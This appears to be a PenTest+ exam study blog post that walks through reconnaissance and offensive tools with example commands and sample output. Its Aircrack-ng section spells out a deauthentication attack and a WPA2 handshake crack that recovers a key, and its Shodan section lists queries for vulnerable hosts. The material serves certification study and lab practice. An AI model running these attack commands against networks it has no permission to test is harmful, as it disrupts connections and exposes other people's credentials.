StrikeSec Live Logo

Tool up for the CompTIA PenTest+ PT0-003 exam

Nov 26, 2025

Passing the CompTIA PenTest+ (PT0-003) certification requires a solid understanding of over 70 offensive security tools. Understanding why these tools are used, specific tool syntax and typical output can help you prepare and go into the exam with confidence.

In preparing for the exam, the key study resources that stood out for me were:

  • CompTIA PenTest+ Study Guide: Exam PT0-003 Book by Mike Chapple, David Seidl, and Robert Shimonski: This laid down the theory, objective by objective.
  • TryHackMe PenTest+ path plus loads of other rooms to target specific tools and attacks.
  • The Complete Pentest+ Course on Simply Cyber Academy. This is a fairly new release so picked it up late in my studies; Kudos to Daniel Lowrie for making this material so much fun to learn, thank you!
  • Chris Greer udemy course: Nmap for Ethical Hackers - The Ultimate Hands-On Course. Knowing what happens "on the wire" during host enumeration was really useful for me.
  • Getting hands-on with Kali Linux made the difference here. Knowing the tools and syntax inside-out was non-negotiable to get a solid pass.

So roll up your sleeves and tool up...I've got your back!

Tools broken down by domain


Domain 2.0 Tools and Examples

1. Nmap

  • Use Case: Network scanning and service enumeration.

  • Input Example:

    nmap -sV -p 80,443 192.168.1.10
    
  • Output Example:

    PORT    STATE SERVICE VERSION
    80/tcp  open  http    Apache httpd 2.4.41
    443/tcp open  https   OpenSSL 1.1.1
    
    
    | ICMP Code | Meaning                                   | Typical Cause                                         | Nmap Interpretation              |
    |-----------|-------------------------------------------|-------------------------------------------------------|----------------------------------|
    | 0         | Network Unreachable                       | No route to the network                               | Host/network down or unreachable |
    | 1         | Host Unreachable                          | Host not responding, ARP failure, or interface down   | Host down                        |
    | 2         | Protocol Unreachable                      | Protocol not supported at destination                 | Protocol not available           |
    | 3         | Port Unreachable                          | No service bound to that port (common with UDP)       | Port closed                      |
    | 9         | Network Administratively Prohibited       | Firewall/ACL blocking network                         | Filtered                         |
    | 10        | Host Administratively Prohibited          | Firewall/ACL blocking host                            | Filtered                         |
    | 13        | Communication Administratively Prohibited | Firewall/ACL blocking traffic by policy               | Filtered                         |
    
    Closed → When it gets a clear ICMP Port Unreachable (Code 3).
    Filtered → When it gets an ICMP “Administratively Prohibited” (Codes 9, 10, 13) or no response at all.
    Open|Filtered → When it can’t tell if the port is open or filtered (e.g., UDP with no response).
    Down → When ICMP Host/Network Unreachable (Codes 0, 1) persist.
    
    

2. theHarvester

  • Use Case: Collect emails, subdomains, and hosts from public sources. Github

  • Input Example:

    theHarvester -d kali.org -b duckduckgo
    
  • Output Example:

    [*] Target: kali.org 
    
    [*] Searching Duckduckgo. 
                                                                                                                                                          
    [*] No IPs found.                                                                                                                                       
                                                                                                                                                          
    [*] No emails found.                                                                                                                                    
                                                                                                                                                          
    [*] Hosts found: 15                                                                                                                                     
    ---------------------                                                                                                                                   
    arm.kali.org:35.185.44.232                                                                                                                              
    autopkgtest.kali.org:104.18.5.159, 104.18.4.159                                                                                                         
    bugs.kali.org:104.18.4.159, 104.18.5.159                                                                                                                
    cdimage.kali.org:54.39.128.230                                                                                                                          
    discord.kali.org:104.18.5.159, 104.18.4.159                                                                                                             
    docs.kali.org:104.18.5.159, 104.18.4.159                                                                                                                
    forums.kali.org:104.18.5.159, 104.18.4.159                                                                                                              
    http.kali.org:54.39.128.230                                                                                                                             
    nethunter.kali.org:35.185.44.232                                                                                                                        
    old.kali.org:54.39.49.227                                                                                                                               
    pkg.kali.org:104.18.5.159, 104.18.4.159                                                                                                                 
    status.kali.org:104.18.5.159, 104.18.4.159                                                                                                              
    www.kali.org:104.18.4.159, 104.18.5.159                                                                                                                 
    www.kali.org:104.18.5.159, 104.18.4.159                      
    

3. WHOIS

  • Use Case: Query WHOIS records for domain registration information. WHOIS Protocol RFC

  • Input Example:

    whois tryhackme.com
    
  • Output Example:

     Domain Name: TRYHACKME.COM
     Registry Domain ID: 2282723194_DOMAIN_COM-VRSN
     Registrar WHOIS Server: whois.namecheap.com
     Registrar URL: http://www.namecheap.com
     Updated Date: 2025-05-11T14:06:02Z
     Creation Date: 2018-07-05T19:46:15Z
     Registry Expiry Date: 2034-07-05T19:46:15Z
     Registrar: NameCheap, Inc.
     Registrar IANA ID: 1068
     Registrar Abuse Contact Email: [email protected]
     Registrar Abuse Contact Phone: +1.6613102107
     Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
     Name Server: KIP.NS.CLOUDFLARE.COM
     Name Server: UMA.NS.CLOUDFLARE.COM
     DNSSEC: unsigned
     URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
     >>> Last update of whois database: 2025-11-05T16:27:48Z <<<
     [...]
     Registry Registrant ID: 
     Registrant Name: Redacted for Privacy
     Registrant Organization: Privacy service provided by Withheld for Privacy ehf
     Registrant Street: Kalkofnsvegur 2 
     Registrant City: Reykjavik
     Registrant State/Province: Capital Region
     Registrant Postal Code: 101
     Registrant Country: IS
     [...]
     Admin Email: [email protected]
     [...]
     Tech Email: [email protected]
     [...]
    
    

4. nslookup / dig

  • Use Case: DNS record enumeration. dig / nslookup

  • Input Example:

    nslookup -type=A tryhackme.com 1.1.1.1
    
    nslookup -type=MX tryhackme.com
    
    dig @1.1.1.1 tryhackme.com MX
    
    dig trih4ckme.com
    
  • Output Example:

    
    Server:		1.1.1.1
    Address:	1.1.1.1#53
    
    Non-authoritative answer:
    Name:	tryhackme.com
    Address: 172.66.164.239
    Name:	tryhackme.com
    Address: 104.20.29.66
    
    
    Server:		::1
    Address:	::1#53
    
    Non-authoritative answer:
    tryhackme.com	mail exchanger = 1 aspmx.l.google.com.
    tryhackme.com	mail exchanger = 10 alt3.aspmx.l.google.com.
    tryhackme.com	mail exchanger = 10 alt4.aspmx.l.google.com.
    tryhackme.com	mail exchanger = 5 alt1.aspmx.l.google.com.
    tryhackme.com	mail exchanger = 5 alt2.aspmx.l.google.com.
    Authoritative answers can be found from:
    
    
    ; <<>> DiG 9.18.28-0ubuntu0.20.04.1-Ubuntu <<>> tryhackme.com MX
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13475
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1
    
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 1232
    ;; QUESTION SECTION:
    ;tryhackme.com.			IN	MX
    
    ;; ANSWER SECTION:
    tryhackme.com.		300	IN	MX	5 alt1.aspmx.l.google.com.
    tryhackme.com.		300	IN	MX	5 alt2.aspmx.l.google.com.
    tryhackme.com.		300	IN	MX	1 aspmx.l.google.com.
    tryhackme.com.		300	IN	MX	10 alt3.aspmx.l.google.com.
    tryhackme.com.		300	IN	MX	10 alt4.aspmx.l.google.com.
    
    ;; Query time: 4 msec
    ;; SERVER: ::1#53(::1) (UDP)
    ;; WHEN: Wed Nov 05 16:55:22 GMT 2025
    ;; MSG SIZE  rcvd: 157
    
    
    ; <<>> DiG 9.18.28-0ubuntu0.20.04.1-Ubuntu <<>> trih4ckme.com
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 41241
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
    [...]
    
    

5. Amass

  • Use Case: Comprehensive subdomain enumeration via multiple data sources & brute force. User Guide

  • Input Example:

    amass intel -org "Tesla" -asn 394161 -cidr 199.120.0.0/16
    
    amass enum -d kali.org -brute -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
    
    Subcommands:                                                                             
                                                                                           
          amass intel - Discover targets for enumerations                                  
          amass enum  - Perform enumerations and network mapping                           
          amass viz   - Visualize enumeration results                                      
          amass track - Track differences between enumerations                             
          amass db    - Manipulate the Amass graph database
    
    
  • Output Example:

    ASN: 394161 - AS394161 - Tesla Motors, Inc.
      8.21.14.0/24
      8.45.124.0/24
      8.47.24.0/24
      8.244.67.0/24
      8.244.131.0/24
      62.67.197.0/24
      199.66.9.0/24
      199.120.48.0/22
      199.120.56.0/24
      [...]  
      66.17.16.0/23
      66.17.30.0/24
      66.17.34.0/23
      66.17.41.0/24
    
    
    mnemosyne.kali.org
    melpomene.kali.org
    dionysus.kali.org
    [...]
    helios.kali.org
    repo.kali.org
    mirror-status.kali.org
    purple.kali.org
    _dc-mx.6c2afe44a632.pkg.kali.org
    
    OWASP Amass v3.20.0                               https://github.com/OWASP/Amass
    --------------------------------------------------------------------------------                                                                                
    83 names discovered - scrape: 1, cert: 48, brute: 20, api: 14
    --------------------------------------------------------------------------------
    ASN: 63949 - LINODE-AP Linode, LLC
          23.92.16.0/20           1    Subdomain Name(s)
          2600:3c00::/30          7    Subdomain Name(s)
          45.33.0.0/17            1    Subdomain Name(s)
          45.56.64.0/18           1    Subdomain Name(s)
          50.116.0.0/18           2    Subdomain Name(s)
    ASN: 13335 - CLOUDFLARENET - Cloudflare, Inc.
          104.16.0.0/14           76   Subdomain Name(s)
          2606:4700::/47          78   Subdomain Name(s)
          8.6.112.0/24            3    Subdomain Name(s)
          8.47.69.0/24            3    Subdomain Name(s)
    ASN: 16276 - OVH
          176.31.0.0/16           2    Subdomain Name(s)
          54.36.0.0/14            8    Subdomain Name(s)
          15.235.0.0/16           2    Subdomain Name(s)
          51.161.0.0/16           2    Subdomain Name(s)
          51.222.0.0/16           3    Subdomain Name(s)
          51.79.0.0/16            1    Subdomain Name(s)
          66.70.128.0/17          2    Subdomain Name(s)
          2001:41d0::/33          3    Subdomain Name(s)
          192.99.0.0/16           1    Subdomain Name(s)
          144.217.0.0/16          4    Subdomain Name(s)
          51.91.0.0/16            1    Subdomain Name(s)
          158.69.0.0/16           1    Subdomain Name(s)
          2607:5300::/32          24   Subdomain Name(s)
    ASN: 3701 - NERONET - Network for Education and Research in Oregon (NERO)
          140.211.0.0/20          6    Subdomain Name(s)
    
    The enumeration has finished
    Discoveries are being migrated into the local database
    

6. Shodan

  • Use Case: Internet-facing device search. List for search filters

  • Input Example: (Web UI or API or CLI)

    shodan init [REDACTED_API_KEY]
    
    shodan host 8.8.8.8
    
    shodan scan submit 45.33.32.156
    
    curl -sG --data-urlencode "key=[REDACTED_API_KEY]" --data-urlencode 'query=has_vuln:true' "https://api.shodan.io/shodan/host/search" | jq '.matches[] | {ip_str, port, transport, org, data}'  
    
    
    Top 10 queries:
    
    # 1. Find exposed SSH servers
    shodan search "port:22"
    
    # 2. FTP servers with anonymous login
    shodan search 'port:21 "Anonymous login allowed"'
    
    # 3. Public Telnet services
    shodan search "port:23"
    
    # 4. Web servers exposing directory listings
    shodan search 'port:80 title:"Index of /"'
    
    # 5. HTTPS servers by certificate common name
    shodan search 'port:443 ssl.cert.subject.cn:"example.com"'
    
    # 6. Apache servers running a specific vulnerable version
    shodan search 'product:"Apache" version:"2.4.49"'
    
    # 7. Exposed MySQL databases
    shodan search 'port:3306 product:"MySQL"'
    
    # 8. Open ElasticSearch instances
    shodan search 'port:9200 product:"ElasticSearch"'
    
    # 9. Public Redis servers
    shodan search 'port:6379 product:"Redis"'
    
    # 10. OpenVPN servers in a specific subnet
    shodan search "net:203.0.113.0/24 port:1194"
    
    
  • Output Example: Images

    
    8.8.8.8
    Hostnames:               dns.google
    City:                    Mountain View
    Country:                 United States
    Organization:            Google LLC
    Updated:                 2025-11-06T10:58:56.804650
    Number of open ports:    2
    
    Ports:
         53/tcp  
         53/udp  
        443/tcp  
        |-- HTTP title: Google Public DNS
        |-- Cert Issuer: C=US, CN=WR2, O=Google Trust Services
        |-- Cert Subject: CN=dns.google
        |-- SSL Versions: -SSLv2, -SSLv3, -TLSv1, -TLSv1.1, TLSv1.2, TLSv1.3
    
    
    
    Starting Shodan scan at 2025-11-06 15:03 - 100 scan credits left
    No open ports found or the host has been recently crawled and cant get scanned again so soon.
    
    

7. Wireshark / tcpdump

  • Use Case: Packet capture and analysis.

  • Input Example:

    tcpdump -i eth0 port 80
    
  • Output Example:

    10:15:23 IP 192.168.1.5 > 192.168.1.10: HTTP GET /index.html
    

8. Aircrack-ng

  • Use Case: Wireless network key cracking. Github

  • Input Example: Refer De-auth attack walkthrough

    sudo airmon-ng start wlan0
    
    sudo airodump-ng --bssid 70:3A:51:0B:72:3C wlan0mon
    
    sudo airodump-ng --bssid 70:3A:51:0B:72:3C -c 44 --write WirelessHackingTHMDay2_2 wlan0mon
    
    sudo aireplay-ng --deauth 1 -a 70:3A:51:0B:72:3C -c 4E:78:4A:1A:47:52 wlan0mon
    
    sudo aircrack-ng -w passwords.txt -b 70:3A:51:0B:72:3C WirelessHackingTHMDay2_2-01.cap
    
    |---------------------------|--------------------------------------------|------------------------------------------|--------------------------|------------------------------------|
    | Encryption                | Weakness                                   | Attack                                   | Goal                     | Tools                              |
    |---------------------------|--------------------------------------------|------------------------------------------|--------------------------|------------------------------------|
    | WEP (RC4)                 | Weak Initialization Vector (IV) reuse      | - ChopChop (decrypt packets)             | Recover WEP key          | Aircrack-ng suite, Kismet          |
    |                           |                                            | - ARP Replay (inject traffic)            |                          |                                    |
    |                           |                                            | - IV Attack (weak IVs)                   |                          |                                    |  
    |---------------------------|--------------------------------------------|------------------------------------------|--------------------------|------------------------------------|
    | WPA (PSK) – RC4/TKIP      | TKIP design flaws; offline cracking of PSK | Deauth → capture handshake → crack       | Recover WPA PSK          | Aircrack-ng, hcxdumptool, Hashcat  |
    |---------------------------|--------------------------------------------|------------------------------------------|--------------------------|------------------------------------|
    | WPA2 (PSK) – AES CCMP     | Protocol flaw KRACK (key reinstallation);  | Handshake capture + cracking;            | Exploit 4-way handshake  | Aircrack-ng, bettercap, Hashcat,   |
    |                           | PSK can be cracked offline if weak         | KRACK to decrypt/manipulate traffic      | to decrypt traffic       | KRACK scripts                      |
    |---------------------------|--------------------------------------------|------------------------------------------|--------------------------|------------------------------------|
    | WPA/WPA2 Enterprise       | Misconfig (e.g. no cert validation);       | Evil Twin + captive portal credential    | Steal credentials        | hostapd-wpe, eaphammer, fluxion,   |
    | (802.1X/EAP)              | Rogue AP (Evil Twin)                       | phishing; EAP downgrade                  |                          | wifiphisher                        |
    |---------------------------|--------------------------------------------|------------------------------------------|--------------------------|------------------------------------|
    | WPA3 – SAE (Dragonfly)    | More resistant to offline dictionary       | Transition mode/downgrade; implemetation |                          | eaphammer (transition attacks)     | 
    | with Perfect Forward      | attacks; watch for downgrade to WPA2       | bugs                                     |                          |                                    |
    | Secrecy                   |                                            |                                          |                          |                                    |
    |---------------------------|--------------------------------------------|------------------------------------------|--------------------------|------------------------------------|
    | WPS                       | 8-digit PIN split (4+3) drastically        | Online PIN brute force; Pixie-dust (weak |                          | Reaver, bully, pixiewps            |
    |                           | reduces keyspace                           | PRNG)                                    |                          |                                    |
    |---------------------------|--------------------------------------------|------------------------------------------|--------------------------|------------------------------------|
    
  • Output Example:

     CH 10 ][ Elapsed: 6 s ][ 2025-11-14 11:01                                                       
                                                                                                   
     BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                 
                                                                                                   
     70:3A:51:0B:72:3C  -42        7        0    0  44  433   WPA2 CCMP   PSK  THM-Net               
                                                                                                   
     BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes               
                                                                                                   
     70:3A:51:0B:72:3C  4E:78:4A:1A:47:52  -43    0 - 6      0        1
    
    
    11:01:33  Created capture file "WirelessHackingTHMDay2_2-01.cap".
    
    CH 44 ][ Elapsed: 9 mins ][ 2025-11-14 11:11 ][ fixed channel wlan0mon: 157                     
                                                                                                   
    BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID             
                                                                                                   
    70:3A:51:0B:72:3C  -47  96     3786      274    0  44  433   WPA2 CCMP   PSK  THM-Net           
                                                                                                   
    BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes               
                                                                                                   
    70:3A:51:0B:72:3C  4E:78:4A:1A:47:52  -39    6e- 6      0      704  EAPOL                 
    
    
    11:09:00  Waiting for beacon frame (BSSID: 70:3A:51:0B:72:3C) on channel 44
    11:09:00  Sending 64 directed DeAuth (code 7). STMAC: [4E:78:4A:1A:47:52] [11|116 ACKs]
    
    
    Reading packets, please wait...
    Opening WirelessHackingTHMDay2_2-01.cap
    Read 5748 packets.
    
    1 potential targets
    
    Aircrack-ng 1.7
    
    [00:02:01] 9936/10001 keys tested (83.46 k/s)
    
    Time left: 0 seconds			99.35%
    
      	KEY FOUND! [ rocketman ]
    
    Master key	: D0 4F 3C [...]
    
    Transient Key	: F8 F8 F8 [...]
    
    EAPOL HMAC	: DF 58 4E [...]
    
    

9. Maltego

  • Use Case: (GUI-based) Visual OSINT and relationship mapping.

  • Input Example: (GUI-based, select “Domain to IP” transform)

  • Output Example: Graph showing domain → IP → related entities.


10. SpiderFoot

  • Use Case: Automated OSINT scanning. Github

  • Input Example: (Web UI or CLI)

    # Load the Web UI
    spiderfoot -l 127.0.0.1:5001
    
    # Scan with specific modules
    spiderfoot -s kali.org -m sfp_dnsresolve,sfp_ipinfo,sfp_bgpview -o tab
    
  • Output Example:

    2025-11-09 17:09:55,960 [INFO] sflib : Scan [B491122F] for 'kali.org' initiated.
    2025-11-09 17:09:56,039 [INFO] sfp_dnsresolve : Identifying aliases for specified target(s)
    2025-11-09 17:09:56,044 [INFO] sfp_dnsresolve : Target aliases identified: [{'type': 'IPV6_ADDRESS', 'value': '2606:4700::6812:59f'}, {'type': 'INTERNET_NAME', 'value': 'kali.org'}, {'type': 'IPV6_ADDRESS', 'value': '2606:4700::6812:49f'}, {'type': 'IP_ADDRESS', 'value': '104.18.5.159'}, {'type': 'IP_ADDRESS', 'value': '104.18.4.159'}]
    2025-11-09 17:09:56,044 [INFO] sflib : sfp_dnsresolve module loaded.
    2025-11-09 17:09:56,129 [INFO] sflib : sfp_ipinfo module loaded.
    2025-11-09 17:09:56,363 [INFO] sflib : sfp_bgpview module loaded.
    2025-11-09 17:09:56,529 [INFO] sflib : sfp__stor_db module loaded.
    2025-11-09 17:09:56,608 [INFO] sflib : sfp__stor_stdout module loaded.
    SpiderFoot UI                   Internet Name                                   kali.org
    SpiderFoot UI                   Domain Name                                     kali.org
    sfp_dnsresolve                  IPv6 Address                                    2606:4700::6812:59f
    2025-11-09 17:09:57,881 [INFO] sflib : Fetching (GET): https://api.bgpview.io/ip/2606:4700::6812:59f (proxy=None, user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0, timeout=5, cookies=None)
    2025-11-09 17:09:57,884 [ERROR] sfp_ipinfo : You enabled sfp_ipinfo but did not set an API key!
    sfp_dnsresolve                  Domain Name                                     kali.org
    sfp_dnsresolve                  IPv6 Address                                    2606:4700::6812:49f
    sfp_dnsresolve                  IP Address                                      104.18.5.159
    sfp_dnsresolve                  IP Address                                      104.18.4.159
    [...]
    2025-11-09 17:10:07,238 [INFO] sf : Scan completed with status FINISHED  
    
    

11. Wayback Machine

  • Use Case: Review historic snapshots to discover old paths, exposed secrets, removed endpoints.

  • Input Example:
    (Web interface or API)

    https://web.archive.org/web/*/example.com/*
    
  • Output Example:

    
    Available snapshots:
    - 2018-05-12 14:22:31  https://example.com/index.html
    - 2020-09-30 09:01:07  https://example.com/home.html
    - 2022-03-11 20:55:12  https://example.com/js/app.min.js
    
    

12. Censys.io

  • Use Case: Internet-wide search of hosts/certs to find exposed services by technology/fingerprint. Generate reports and automate collection updates.

  • Dashboard

  • Censys API Documentation

  • Input Example: (Web UI or API or python SDK)

    # Web UI
    host.services.endpoints.http.headers: (key: "Server" and value: "Apache") and host.location.country: "United Kingdom" 
    
    # Web UI
    # Requires a paid-for account tier
    host.services.vulns.id: *
    
    # API
    curl --request GET --url https://api.platform.censys.io/v3/global/asset/host/45.33.32.156 --header 'accept: application/vnd.censys.api.v3.host.v1+json' --header 'authorization: Bearer [REDACTED]' > censys-scanme.json
    
    # SDK
    import requests
    
    url = "https://api.platform.censys.io/v3/global/asset/host/host_id"
    
    headers = {
        "accept": "application/vnd.censys.api.v3.host.v1+json",
        "authorization": "Bearer [REDACTED]"
    }
    
    response = requests.get(url, headers=headers)
    
    print(response.text)
    
  • Output Example: Full JSON results for scanme.nmap.org | Web UI Images

    
    [...]
    "html_tags": [
      	"\u003ctitle\u003eGo ahead and ScanMe!\u003c/title\u003e",
      	"\u003cmeta name=\"viewport\" content=\"width=device-width,initial-scale=1\"\u003e",
      	"\u003cmeta name=\"theme-color\" content=\"#2A0D45\"\u003e",
      	"\u003cMETA NAME=\"ROBOTS\" CONTENT=\"NOARCHIVE\"\u003e"
      ],
      "body_size": 6974,
      "body": "\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n\u003ctitle\u003eGo ahead and ScanMe!\u003c/title\u003e\n\u003cmeta name=\"viewport\" [...],
      "favicons": [
      	{
      		"size": 529,
      		"name": "http://45.33.32.156/shared/images/tiny-eyeicon.png",
      		"hash_sha256": "f22e309dc81ff661756822b865f2a272a00e54af69a314392b0f16b0cb54df15",
      		"hash_md5": "156515da3c0f7dc6b2493bd5ce43f795",
      		"hash_shodan": 536238901
      	}
      ],
      "html_title": "Go ahead and ScanMe!",
      "body_hash_sha256": "7c6ac262c9cd17bfc9518d4140199e6ae954d1d7422bad53a378ce2868352fe5",
      "body_hash_sha1": "d5bdccd11872e84c7dc05a8c16d0ed2105eeb100",
      "supported_versions": [
      	"HTTP/1.1"
      ] [...]
    
    

13. Hunter.io

  • Use Case: Enumerate emails and patterns for a target domain (useful for credential formats & phishing simulations).

  • Input Example:

    hunter.io search --domain example.com
    
  • Output Example:

    {
    "domain": "example.com",
    "pattern": "{first}.{last}@example.com",
      "emails": [
        {"value":"[email protected]","source":"LinkedIn"},
        {"value":"[email protected]","source":"Company blog"}
      ]
    }
    

14. DNSdumpster

  • Use Case: Passive DNS mapping & subdomain discovery with basic host records and visual map. Site / API

  • Input Example:
    (Web UI or API)

    curl -H "X-API-Key: [REDACTED]" https://api.dnsdumpster.com/domain/kali.org
    
  • Output Example: Images

    
    {
    "a": [
      {
        "host": "10year.kali.org",
        "ips": [
          {
            "asn": "13335",
            "asn_name": "CLOUDFLARENET",
            "asn_range": "104.18.0.0/20",
            "banners": {
              "http": {
                "apps": [
                  "Cloudflare"
                ],
                "server": "cloudflare",
                "title": "Direct IP access not allowed "
              },
              "http8080": {
                "apps": [
                  "Cloudflare"
                ],
                "server": "cloudflare",
                "title": "Direct IP access not allowed "
              },
              "ip": "104.18.5.159"
            },
            "country": "unknown",
            "country_code": "??",
            "ip": "104.18.5.159",
            "ptr": ""
          }
        ]
      },
      {
        "host": "aeacus.kali.org",
        "ips": [
          {
            "asn": "16276",
            "asn_name": "OVH, FR",
            "asn_range": "51.222.0.0/16",
            "banners": {
              "ip": "51.222.80.5",
              "ssh": {
                "banner": "SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u6"
              }
            },
            "country": "Canada",
            "country_code": "CA",
            "ip": "51.222.80.5",
            "ptr": "ns576245.ip-51-222-80.net"
          }
        ]
      },
      [...]
    ],
    "total_a_recs": 63,
    "txt": [
      "\"google-site-verification=QO0m_WIzc81XaujadDfsFymI53IwsX4sCt-Tin9ugoI\"",
      "\"mjb3j7d41a5qd3i4qo8j8d9q7g\"",
      "\"v=spf1 a ip4:208.88.127.98 ip4:52.44.83.41 include:_spf.google.com include:sendgrid.net ~all\"",
      "\"MS=2F24AAB1EA3933DA8A05BF4B28C70033E0001820\""
    ]
    }  
    
    

15. Nmap Scripting Engine (NSE)

  • Use Case: Deeper enumeration & vuln checks (SMB, SSL/TLS, HTTP, etc.). Reference Portal

  • Input Example:

    nmap -sV --script "vuln and safe" 192.168.1.10
    
    nmap -p80 --script http-apache-server-status 10.10.125.34
    
    
    Script categories:
    
    1. auth: Scripts that deal with authentication (e.g., brute force, credential checks).
    2. broadcast: Scripts that discover hosts by sending broadcast queries (e.g., DHCP, ARP).
    3. brute: Perform brute-force attacks against services (e.g., SSH, FTP).
    4. default: Scripts run when you use -sC or --script=default. Safe, general info gathering.
    5. discovery: Host and service discovery beyond basic port scanning (e.g., SNMP enumeration).
    6. dos: Denial-of-service checks (⚠️ intrusive).
    7. exploit: Attempt to exploit vulnerabilities (⚠️ very intrusive).
    8. external: Scripts that query external resources (e.g., WHOIS, GeoIP).
    9. fuzzer: Send unexpected input to services to find bugs (⚠️ intrusive).
    10. intrusive: Scripts that might crash or alter services (⚠️ use only with permission).
    11. malware: Detect malware infections or backdoors.
    12. safe: Scripts considered non-intrusive and unlikely to harm the target.
    13. version: Service version detection enhancements.
    14. vuln: Check for known vulnerabilities or insecure configurations.
    
    
  • Output Example:

    PORT   STATE SERVICE VERSION
    445/tcp open  microsoft-ds
    | smb-vuln-ms17-010:
    |   VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1
    |     State: VULNERABLE
    |_    References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0144
    
    PORT   STATE SERVICE
    80/tcp open  http
    | http-apache-server-status:
    |   Heading: Apache Server Status for example.com (via 127.0.1.1)
    |   Server Version:  Apache/2.4.12 (Ubuntu)
    |   Server Built:  Jul 24 2015 15:59:00
    |   Server Uptime:   53 minutes 31 seconds
    |   Server Load:  0.00 0.01 0.05
    |   VHosts:
    |_    www.example.com:80  GET /server-status HTTP/1.1
    
    

16. WiGLE.net

  • Use Case: Locate SSIDs/BSSIDs and rough geolocation from crowd‑sourced wardriving data.

  • Input Example:
    (Web UI or API)

    Search SSID: "CorpWiFi"
    
  • Output Example:

    SSID: CorpWiFi
    BSSID: AA:BB:CC:DD:EE:FF
    Last seen: 2025-03-14
    Approx. location: 51.746, -2.283
    Channel: 6  Encryption: WPA2
    Location: 51.5074 N, 0.1278 W
    Signal Strength: -65 dBm
    

17. InSSIDer

  • Use Case: (GUI-based) Local wireless survey (channels, signal strengths, RSSI, security) to scope wireless targets. Real-time client packet analytics available with paid-for license Site

  • Input Example:
    (GUI-based tool)

    Scan local Wi-Fi networks
    
  • Output Example: Images

    [...]
    SSID: CorpWiFi  BSSID: 9C:XX:YY:ZZ:..  Signal: -56 dBm  Clients: 3  Ch: 114 [128]  Width: 20 MHz  Security: None | WPA Personal/Enterprise | WPA2 Personal/Enterprise  Mode: b/g/n/ax  Basic Rates: 1,2,5.5,11  Max. Rate: 243.8  Last Seen: Now
    [...]
    

18. OSINTframework.com

  • Use Case: Curated directory to quickly jump to the right OSINT tool per data type (people, domains, socials).

  • Input Example:
    Navigate: Domain Name → DNS → Subdomains

  • Output Example:

    
    Links:
    - DNSDumpster
    - Amass
    - Sublist3r
    - CRT.sh
    
    

19. Recon-ng

  • Use Case: Modular OSINT framework with workspace, data model, API keys, and modules. Github

  • Input Example:

    recon-ng
    [recon-ng] > workspaces create thmredteam
    [recon-ng][thmredteam] > db insert domains
    
    domain (TEXT): example.com
    notes (TEXT): 
    [*] 1 rows affected.
    
    [recon-ng][thmredteam] > marketplace search domains-
    [recon-ng][thmredteam] > marketplace install brute_hosts
    
    [*] Module installed: recon/domains-hosts/brute_hosts
    [*] Reloading modules...
                                                                                        
    [recon-ng][thmredteam] > modules load brute_hosts
    [recon-ng][thmredteam][brute_hosts] > run
    
    CTRL-C
    [recon-ng][thmredteam] >  modules load recon/domains-hosts/hackertarget
    [recon-ng][thmredteam][hackertarget] > options set SOURCE kali.org
    SOURCE => kali.org
    [recon-ng][thmredteam][hackertarget] > run
    
    
    marketplace search KEYWORD to search for available modules with keyword.
      - D = Dependencies
      - K = Key required
    marketplace info MODULE to provide information about the module in question.
    marketplace install MODULE to install the specified module into Recon-ng.
    marketplace remove MODULE to uninstall the specified module.
    
    
    
    Keys
    Some modules cannot be used without a key for the respective service API. K indicates that you need to provide the relevant service key to use the module in question.
    
    - keys list lists the keys
    - keys add KEY_NAME KEY_VALUE adds a key
    - keys remove KEY_NAME removes a key
    
    Once you have the set of modules installed, you can proceed to load and run them.
    
    - modules load MODULE loads an installed module
    - CTRL + C unloads the module.
    - info to review the loaded module’s info.
    - options list lists available options for the chosen module.
    - options set NAME VALUE
    - run to execute the loaded module.
    
    
  • Output Example:

    
    [recon-ng][thmredteam] > marketplace search domains-
    [*] Searching module index for 'domains-'...
    
    +---------------------------------------------------------------------------------------------+
    |                     Path                     | Version |     Status    |  Updated   | D | K |
    +---------------------------------------------------------------------------------------------+
    | recon/domains-companies/censys_companies     | 2.1     | not installed | 2022-01-31 | * | * |
    | recon/domains-companies/pen                  | 1.1     | not installed | 2019-10-15 |   |   |
    | recon/domains-companies/whoxy_whois          | 1.1     | not installed | 2020-06-24 |   | * |
    | recon/domains-contacts/hunter_io             | 1.3     | not installed | 2020-04-14 |   | * |
    | recon/domains-contacts/metacrawler           | 1.1     | not installed | 2019-06-24 | * |   |
    | recon/domains-contacts/pen                   | 1.1     | not installed | 2019-10-15 |   |   |
    | recon/domains-contacts/pgp_search            | 1.4     | not installed | 2019-10-16 |   |   |
    [...]
    | recon/domains-hosts/brute_hosts              | 1.0     | not installed | 2019-06-24 |   |   |
    [...]
    
    
    
      -----------
      EXAMPLE.COM
      -----------
      [*] No Wildcard DNS entry found.
      [*] 01.example.com => No record found.
      [*] 03.example.com => No record found.
      [*] 11.example.com => No record found.
      [...]
      [*] www.example.com => (CNAME) www.example.com-v4.edgesuite.net
      [*] ws5.example.com => No record found.
      [*] ws7.example.com => No record found.
      [*] ws9.example.com => No record found.
      [...]  
      [*] www.example.com => (A) 23.216.154.163
      [*] Country: None
      [*] Host: www.example.com
      [*] Ip_Address: 23.216.154.163
      [*] Latitude: None
      [*] Longitude: None
      [*] Notes: None
      [*] Region: None
      [...]
      -------
      SUMMARY
      -------
      [*] 6 total (5 new) hosts found.
